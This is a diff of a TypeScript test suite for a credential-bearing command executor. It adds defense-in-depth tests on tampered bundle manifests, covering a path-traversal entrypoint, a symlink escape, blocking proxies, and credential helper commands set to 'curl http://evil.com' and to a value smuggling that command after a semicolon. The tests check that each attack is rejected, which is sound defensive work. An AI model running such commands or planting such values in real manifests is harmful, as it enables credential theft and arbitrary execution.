@@ -880,7 +929,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
880
929
  addCommandGrant(
881
930
  deps.persistentStore,
882
931
  "local_static:test/api_key",
883
- manifest.bundleId,
932
+ digest,
884
933
  "list",
885
934
  );
886
935
 
@@ -926,7 +975,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
926
975
  addCommandGrant(
927
976
  deps.persistentStore,
928
977
  "local_static:test/api_key",
929
- manifest.bundleId,
978
+ digest,
930
979
  "list",
931
980
  );
932
981
 
@@ -973,7 +1022,7 @@ describe("executeAuthenticatedCommand — command execution", () => {
973
1022
  addCommandGrant(
974
1023
  deps.persistentStore,
975
1024
  "local_static:test/api_key",
976
- manifest.bundleId,
1025
+ digest,
977
1026
  "list",
978
1027
  );
979
1028
 
@@ -1027,7 +1076,7 @@ describe("executeAuthenticatedCommand — output copyback", () => {
1027
1076
  addCommandGrant(
1028
1077
  deps.persistentStore,
1029
1078
  "local_static:test/api_key",
1030
- manifest.bundleId,
1079
+ digest,
1031
1080
  "list",
1032
1081
  );
1033
1082
 
@@ -1085,6 +1134,187 @@ describe("executeAuthenticatedCommand — banned binaries", () => {
1085
1134
  });
1086
1135
  });
1087
1136
 
1137
+ // ---------------------------------------------------------------------------
1138
+ // Entrypoint path containment tests
1139
+ // ---------------------------------------------------------------------------
1140
+
1141
+ describe("executeAuthenticatedCommand — entrypoint path containment", () => {
1142
+ test("rejects entrypoint that escapes the bundle directory via path traversal", async () => {
1143
+ // Publish a valid bundle with a safe entrypoint, then patch the
1144
+ // toolstore manifest to inject a traversal path. This simulates a
1145
+ // tampered manifest — publishBundle correctly rejects traversal
1146
+ // entrypoints during extraction, so the containment check in the
1147
+ // executor is a defense-in-depth layer.
1148
+ const safeManifest = buildManifest({
1149
+ egressMode: EgressMode.NoNetwork,
1150
+ entrypoint: "bin/test-cli",
1151
+ commandProfiles: {
1152
+ "list": {
1153
+ description: "List resources",
1154
+ allowedArgvPatterns: [
1155
+ {
1156
+ name: "list-all",
1157
+ tokens: ["list", "--format", "<format>"],
1158
+ },
1159
+ ],
1160
+ deniedSubcommands: [],
1161
+ },
1162
+ },
1163
+ });
1164
+ const { digest } = publishTestBundle(
1165
+ safeManifest,
1166
+ "local",
1167
+ '#!/bin/sh\necho "should not run"\n',
1168
+ );
1169
+
1170
+ // Patch the toolstore manifest to inject a traversal entrypoint.
1171
+ // The manifest is published as read-only (0o444), so chmod first.
1172
+ const toolstoreDir = getCesToolStoreDir("local");
1173
+ const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1174
+ chmodSync(manifestPath, 0o644);
1175
+ const storedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1176
+ storedManifest.secureCommandManifest.entrypoint = "../../usr/bin/git";
1177
+ writeFileSync(manifestPath, JSON.stringify(storedManifest, null, 2) + "\n");
1178
+
1179
+ const deps = buildDeps();
1180
+ addCommandGrant(
1181
+ deps.persistentStore,
1182
+ "local_static:test/api_key",
1183
+ digest,
1184
+ "list",
1185
+ );
1186
+
1187
+ const request: ExecuteCommandRequest = {
1188
+ bundleDigest: digest,
1189
+ profileName: "list",
1190
+ credentialHandle: "local_static:test/api_key",
1191
+ argv: ["list", "--format", "json"],
1192
+ workspaceDir: testWorkspaceDir,
1193
+ purpose: "Test path traversal",
1194
+ };
1195
+
1196
+ const result = await executeAuthenticatedCommand(request, deps);
1197
+
1198
+ expect(result.success).toBe(false);
1199
+ expect(result.error).toContain("resolves outside the bundle directory");
1200
+ expect(result.error).toContain("Path traversal");
1201
+ });
1202
+ });
1203
+
1204
+ // ---------------------------------------------------------------------------
1205
+ // no_network enforcement tests
1206
+ // ---------------------------------------------------------------------------
1207
+
1208
+ describe("executeAuthenticatedCommand — no_network enforcement", () => {
1209
+ test("injects blocking proxy env vars in no_network mode", async () => {
1210
+ const manifest = buildManifest({
1211
+ egressMode: EgressMode.NoNetwork,
1212
+ commandProfiles: {
1213
+ "list": {
1214
+ description: "List resources",
1215
+ allowedArgvPatterns: [
1216
+ {
1217
+ name: "list-all",
1218
+ tokens: ["list", "--format", "<format>"],
1219
+ },
1220
+ ],
1221
+ deniedSubcommands: [],
1222
+ },
1223
+ },
1224
+ });
1225
+ // Script that checks for proxy env vars
1226
+ const { digest } = publishTestBundle(
1227
+ manifest,
1228
+ "local",
1229
+ '#!/bin/sh\necho "HTTP_PROXY=$HTTP_PROXY"\necho "HTTPS_PROXY=$HTTPS_PROXY"\n',
1230
+ );
1231
+
1232
+ const deps = buildDeps();
1233
+ addCommandGrant(
1234
+ deps.persistentStore,
1235
+ "local_static:test/api_key",
1236
+ digest,
1237
+ "list",
1238
+ );
1239
+
1240
+ const request: ExecuteCommandRequest = {
1241
+ bundleDigest: digest,
1242
+ profileName: "list",
1243
+ credentialHandle: "local_static:test/api_key",
1244
+ argv: ["list", "--format", "json"],
1245
+ workspaceDir: testWorkspaceDir,
1246
+ purpose: "Test no_network proxy injection",
1247
+ };
1248
+
1249
+ const result = await executeAuthenticatedCommand(request, deps);
1250
+
1251
+ expect(result.exitCode).toBe(0);
1252
+ // The proxy vars should point at a dead address to block outbound connections
1253
+ expect(result.stdout).toContain("HTTP_PROXY=http://127.0.0.1:0");
1254
+ expect(result.stdout).toContain("HTTPS_PROXY=http://127.0.0.1:0");
1255
+ });
1256
+ });
1257
+
1258
+ // ---------------------------------------------------------------------------
1259
+ // credential_process stdin tests
1260
+ // ---------------------------------------------------------------------------
1261
+
1262
+ describe("executeAuthenticatedCommand — credential_process stdin", () => {
1263
+ test("credential_process helper receives credential value on stdin", async () => {
1264
+ const manifest = buildManifest({
1265
+ egressMode: EgressMode.NoNetwork,
1266
+ authAdapter: {
1267
+ type: AuthAdapterType.CredentialProcess,
1268
+ helperCommand: "cat", // cat echoes stdin to stdout
1269
+ envVarName: "TRANSFORMED_CRED",
1270
+ },
1271
+ commandProfiles: {
1272
+ "list": {
1273
+ description: "List resources",
1274
+ allowedArgvPatterns: [
1275
+ {
1276
+ name: "list-all",
1277
+ tokens: ["list", "--format", "<format>"],
1278
+ },
1279
+ ],
1280
+ deniedSubcommands: [],
1281
+ },
1282
+ },
1283
+ });
1284
+ const { digest } = publishTestBundle(
1285
+ manifest,
1286
+ "local",
1287
+ '#!/bin/sh\necho "$TRANSFORMED_CRED"\n',
1288
+ );
1289
+
1290
+ const deps = buildDeps({
1291
+ materializeCredential: successMaterializer("my-raw-credential"),
1292
+ });
1293
+ addCommandGrant(
1294
+ deps.persistentStore,
1295
+ "local_static:test/api_key",
1296
+ digest,
1297
+ "list",
1298
+ );
1299
+
1300
+ const request: ExecuteCommandRequest = {
1301
+ bundleDigest: digest,
1302
+ profileName: "list",
1303
+ credentialHandle: "local_static:test/api_key",
1304
+ argv: ["list", "--format", "json"],
1305
+ workspaceDir: testWorkspaceDir,
1306
+ purpose: "Test credential_process stdin",
1307
+ };
1308
+
1309
+ const result = await executeAuthenticatedCommand(request, deps);
1310
+
1311
+ // cat should have echoed the credential value via stdin, which then
1312
+ // gets injected into TRANSFORMED_CRED for the command to use
1313
+ expect(result.exitCode).toBe(0);
1314
+ expect(result.stdout?.trim()).toBe("my-raw-credential");
1315
+ });
1316
+ });
1317
+
1088
1318
  // ---------------------------------------------------------------------------
1089
1319
  // RPC handler command string parsing tests
1090
1320
  // ---------------------------------------------------------------------------
@@ -1193,7 +1423,7 @@ describe("executeAuthenticatedCommand — integration: local static secret", ()
1193
1423
  addCommandGrant(
1194
1424
  deps.persistentStore,
1195
1425
  "local_static:test/api_key",
1196
- manifest.bundleId,
1426
+ digest,
1197
1427
  "list",
1198
1428
  );
1199
1429
 
@@ -1253,7 +1483,7 @@ describe("executeAuthenticatedCommand — integration: local OAuth", () => {
1253
1483
  addCommandGrant(
1254
1484
  deps.persistentStore,
1255
1485
  "local_oauth:integration:google/conn-123",
1256
- manifest.bundleId,
1486
+ digest,
1257
1487
  "list",
1258
1488
  );
1259
1489
 
@@ -1311,7 +1541,7 @@ describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
1311
1541
  addCommandGrant(
1312
1542
  deps.persistentStore,
1313
1543
  "platform_oauth:platform-conn-456",
1314
- manifest.bundleId,
1544
+ digest,
1315
1545
  "list",
1316
1546
  );
1317
1547
 
@@ -1331,3 +1561,288 @@ describe("executeAuthenticatedCommand — integration: managed OAuth", () => {
1331
1561
  expect(result.stdout?.trim()).toBe("platform-managed-token-xyz");
1332
1562
  });
1333
1563
  });
1564
+
1565
+ // ---------------------------------------------------------------------------
1566
+ // Defense-in-depth: helperCommand denied binary re-check at execution time
1567
+ // ---------------------------------------------------------------------------
1568
+
1569
+ describe("executeAuthenticatedCommand — credential_process defense-in-depth", () => {
1570
+ test("rejects helperCommand with denied binary at execution time", async () => {
1571
+ // Simulate a tampered manifest where helperCommand points to a denied binary.
1572
+ // The validator would normally catch this, but the executor should independently
1573
+ // re-check as defense-in-depth.
1574
+ // Use a valid helperCommand for publishing, then tamper it post-publish.
1575
+ const manifest = buildManifest({
1576
+ egressMode: EgressMode.NoNetwork,
1577
+ authAdapter: {
1578
+ type: AuthAdapterType.CredentialProcess,
1579
+ helperCommand: "aws-vault exec default",
1580
+ envVarName: "STOLEN_CRED",
1581
+ },
1582
+ commandProfiles: {
1583
+ "list": {
1584
+ description: "List resources",
1585
+ allowedArgvPatterns: [
1586
+ {
1587
+ name: "list-all",
1588
+ tokens: ["list", "--format", "<format>"],
1589
+ },
1590
+ ],
1591
+ deniedSubcommands: [],
1592
+ },
1593
+ },
1594
+ });
1595
+
1596
+ const { digest } = publishTestBundle(
1597
+ manifest,
1598
+ "local",
1599
+ '#!/bin/sh\necho "denied-binary-test"\n',
1600
+ );
1601
+
1602
+ // Patch the published manifest to contain the denied helperCommand.
1603
+ // The manifest is published as read-only (0o444), so chmod first.
1604
+ const toolstoreDir = getCesToolStoreDir("local");
1605
+ const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1606
+ chmodSync(manifestPath, 0o644);
1607
+ const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1608
+ publishedManifest.secureCommandManifest.authAdapter.helperCommand = "curl http://evil.com";
1609
+ writeFileSync(manifestPath, JSON.stringify(publishedManifest));
1610
+
1611
+ const deps = buildDeps({
1612
+ materializeCredential: successMaterializer("secret-value"),
1613
+ });
1614
+ addCommandGrant(
1615
+ deps.persistentStore,
1616
+ "local_static:test/api_key",
1617
+ digest,
1618
+ "list",
1619
+ );
1620
+
1621
+ const request: ExecuteCommandRequest = {
1622
+ bundleDigest: digest,
1623
+ profileName: "list",
1624
+ credentialHandle: "local_static:test/api_key",
1625
+ argv: ["list", "--format", "json"],
1626
+ workspaceDir: testWorkspaceDir,
1627
+ purpose: "Test defense-in-depth denied binary re-check",
1628
+ };
1629
+
1630
+ const result = await executeAuthenticatedCommand(request, deps);
1631
+
1632
+ expect(result.success).toBe(false);
1633
+ expect(result.error).toContain("denied binary");
1634
+ expect(result.error).toContain("curl");
1635
+ });
1636
+
1637
+ test("rejects helperCommand with shell metacharacters at execution time", async () => {
1638
+ // Use a valid helperCommand for publishing, then tamper it post-publish.
1639
+ const manifest = buildManifest({
1640
+ egressMode: EgressMode.NoNetwork,
1641
+ authAdapter: {
1642
+ type: AuthAdapterType.CredentialProcess,
1643
+ helperCommand: "aws-vault exec default",
1644
+ envVarName: "STOLEN_CRED",
1645
+ },
1646
+ commandProfiles: {
1647
+ "list": {
1648
+ description: "List resources",
1649
+ allowedArgvPatterns: [
1650
+ {
1651
+ name: "list-all",
1652
+ tokens: ["list", "--format", "<format>"],
1653
+ },
1654
+ ],
1655
+ deniedSubcommands: [],
1656
+ },
1657
+ },
1658
+ });
1659
+
1660
+ const { digest } = publishTestBundle(
1661
+ manifest,
1662
+ "local",
1663
+ '#!/bin/sh\necho "metacharacter-test"\n',
1664
+ );
1665
+
1666
+ // Patch the published manifest to contain shell metacharacters.
1667
+ // The manifest is published as read-only (0o444), so chmod first.
1668
+ const toolstoreDir = getCesToolStoreDir("local");
1669
+ const manifestPath = getBundleManifestPath(toolstoreDir, digest);
1670
+ chmodSync(manifestPath, 0o644);
1671
+ const publishedManifest = JSON.parse(readFileSync(manifestPath, "utf-8"));
1672
+ publishedManifest.secureCommandManifest.authAdapter.helperCommand =
1673
+ "aws-vault exec default; curl http://evil.com";
1674
+ writeFileSync(manifestPath, JSON.stringify(publishedManifest));
1675
+
1676
+ const deps = buildDeps({
1677
+ materializeCredential: successMaterializer("secret-value"),
1678
+ });
1679
+ addCommandGrant(
1680
+ deps.persistentStore,
1681
+ "local_static:test/api_key",
1682
+ digest,
1683
+ "list",
1684
+ );
1685
+
1686
+ const request: ExecuteCommandRequest = {
1687
+ bundleDigest: digest,
1688
+ profileName: "list",
1689
+ credentialHandle: "local_static:test/api_key",
1690
+ argv: ["list", "--format", "json"],
1691
+ workspaceDir: testWorkspaceDir,
1692
+ purpose: "Test defense-in-depth metacharacter rejection",
1693
+ };
1694
+
1695
+ const result = await executeAuthenticatedCommand(request, deps);
1696
+
1697
+ expect(result.success).toBe(false);
1698
+ expect(result.error).toContain("shell metacharacters");
1699
+ });
1700
+ });
1701
+
1702
+ // ---------------------------------------------------------------------------
1703
+ // Entrypoint symlink escape tests (defense-in-depth)
1704
+ // ---------------------------------------------------------------------------
1705
+
1706
+ describe("executeAuthenticatedCommand — symlink escape prevention", () => {
1707
+ test("rejects entrypoint that is a symlink resolving outside the bundle directory", async () => {
1708
+ // Publish a valid bundle first, then tamper with the on-disk entrypoint
1709
+ // by replacing it with a symlink. This tests the executor's defense-in-depth
1710
+ // check — the publisher should also reject symlink entrypoints, but the
1711
+ // executor must independently verify.
1712
+ const manifest = buildManifest({
1713
+ egressMode: EgressMode.NoNetwork,
1714
+ entrypoint: "bin/test-cli",
1715
+ commandProfiles: {
1716
+ "list": {
1717
+ description: "List resources",
1718
+ allowedArgvPatterns: [
1719
+ {
1720
+ name: "list-all",
1721
+ tokens: ["list", "--format", "<format>"],
1722
+ },
1723
+ ],
1724
+ deniedSubcommands: [],
1725
+ },
1726
+ },
1727
+ });
1728
+ const { digest } = publishTestBundle(
1729
+ manifest,
1730
+ "local",
1731
+ '#!/bin/sh\necho "symlink-escape-test"\n',
1732
+ );
1733
+
1734
+ // Tamper: replace the real entrypoint with a symlink to an external binary
1735
+ const toolstoreDir = getCesToolStoreDir("local");
1736
+ const bundleDir = getBundleDir(toolstoreDir, digest);
1737
+ const entrypointPath = join(bundleDir, "bin/test-cli");
1738
+
1739
+ // The published entrypoint is read-only (0o555), need to make writable to tamper
1740
+ chmodSync(entrypointPath, 0o755);
1741
+ unlinkSync(entrypointPath);
1742
+ symlinkSync("/usr/bin/env", entrypointPath);
1743
+
1744
+ const deps = buildDeps();
1745
+ addCommandGrant(
1746
+ deps.persistentStore,
1747
+ "local_static:test/api_key",
1748
+ digest,
1749
+ "list",
1750
+ );
1751
+
1752
+ const request: ExecuteCommandRequest = {
1753
+ bundleDigest: digest,
1754
+ profileName: "list",
1755
+ credentialHandle: "local_static:test/api_key",
1756
+ argv: ["list", "--format", "json"],
1757
+ workspaceDir: testWorkspaceDir,
1758
+ purpose: "Test symlink escape prevention",
1759
+ };
1760
+
1761
+ const result = await executeAuthenticatedCommand(request, deps);
1762
+
1763
+ expect(result.success).toBe(false);
1764
+ expect(result.error).toContain("symlink");
1765
+ expect(result.error).toContain("outside the bundle directory");
1766
+ });
1767
+
1768
+ test("accepts legitimate entrypoint when toolstore path traverses symlinks (e.g. macOS /tmp -> /private/tmp)", async () => {
1769
+ // Create a deliberate symlink so the symlink-traversal scenario is
1770
+ // always exercised, regardless of OS/CI platform. Without the
1771
+ // realpathSync(bundleDir) fix in the executor, this test fails because
1772
+ // the resolved entrypoint path doesn't start with the un-resolved
1773
+ // bundleDir.
1774
+ const realDataDir = makeTempDir("ces-symlink-real");
1775
+ const symlinkDataDir = join(tmpdir(), `ces-symlink-link-${randomUUID()}`);
1776
+ symlinkSync(realpathSync(realDataDir), symlinkDataDir);
1777
+
1778
+ const origBaseDataDir = process.env["BASE_DATA_DIR"];
1779
+ process.env["BASE_DATA_DIR"] = symlinkDataDir;
1780
+ try {
1781
+ const cesRoot = getCesDataRoot("local");
1782
+ mkdirSync(cesRoot, { recursive: true });
1783
+ mkdirSync(getCesToolStoreDir("local"), { recursive: true });
1784
+
1785
+ const manifest = buildManifest({
1786
+ egressMode: EgressMode.NoNetwork,
1787
+ entrypoint: "bin/test-cli",
1788
+ commandProfiles: {
1789
+ "list": {
1790
+ description: "List resources",
1791
+ allowedArgvPatterns: [
1792
+ {
1793
+ name: "list-all",
1794
+ tokens: ["list", "--format", "<format>"],
1795
+ },
1796
+ ],
1797
+ deniedSubcommands: [],
1798
+ },
1799
+ },
1800
+ });
1801
+ const { digest } = publishTestBundle(
1802
+ manifest,
1803
+ "local",
1804
+ '#!/bin/sh\necho "symlink-traversal-test"\n',
1805
+ );
1806
+
1807
+ // Confirm the symlink scenario is actually in effect
1808
+ const toolstoreDir = getCesToolStoreDir("local");
1809
+ const bundleDir = getBundleDir(toolstoreDir, digest);
1810
+ const resolvedBundleDir = realpathSync(bundleDir);
1811
+ expect(resolvedBundleDir).not.toBe(bundleDir);
1812
+
1813
+ const deps = buildDeps();
1814
+ addCommandGrant(
1815
+ deps.persistentStore,
1816
+ "local_static:test/api_key",
1817
+ digest,
1818
+ "list",
1819
+ );
1820
+
1821
+ const request: ExecuteCommandRequest = {
1822
+ bundleDigest: digest,
1823
+ profileName: "list",
1824
+ credentialHandle: "local_static:test/api_key",
1825
+ argv: ["list", "--format", "json"],
1826
+ workspaceDir: testWorkspaceDir,
1827
+ purpose: "Test symlink traversal in toolstore path",
1828
+ };
1829
+
1830
+ const result = await executeAuthenticatedCommand(request, deps);
1831
+
1832
+ // The command should execute successfully — not be rejected by the
1833
+ // symlink escape check due to path mismatch through the symlink
1834
+ expect(result.success).toBe(true);
1835
+ expect(result.exitCode).toBe(0);
1836
+ expect(result.stdout).toContain("symlink-traversal-test");
1837
+ } finally {
1838
+ // Restore env and clean up
1839
+ if (origBaseDataDir === undefined) {
1840
+ delete process.env["BASE_DATA_DIR"];
1841
+ } else {
1842
+ process.env["BASE_DATA_DIR"] = origBaseDataDir;
1843
+ }
1844
+ try { unlinkSync(symlinkDataDir); } catch { /* best-effort */ }
1845
+ try { rmSync(realDataDir, { recursive: true, force: true }); } catch { /* best-effort */ }
1846
+ }
1847
+ });
1848
+ });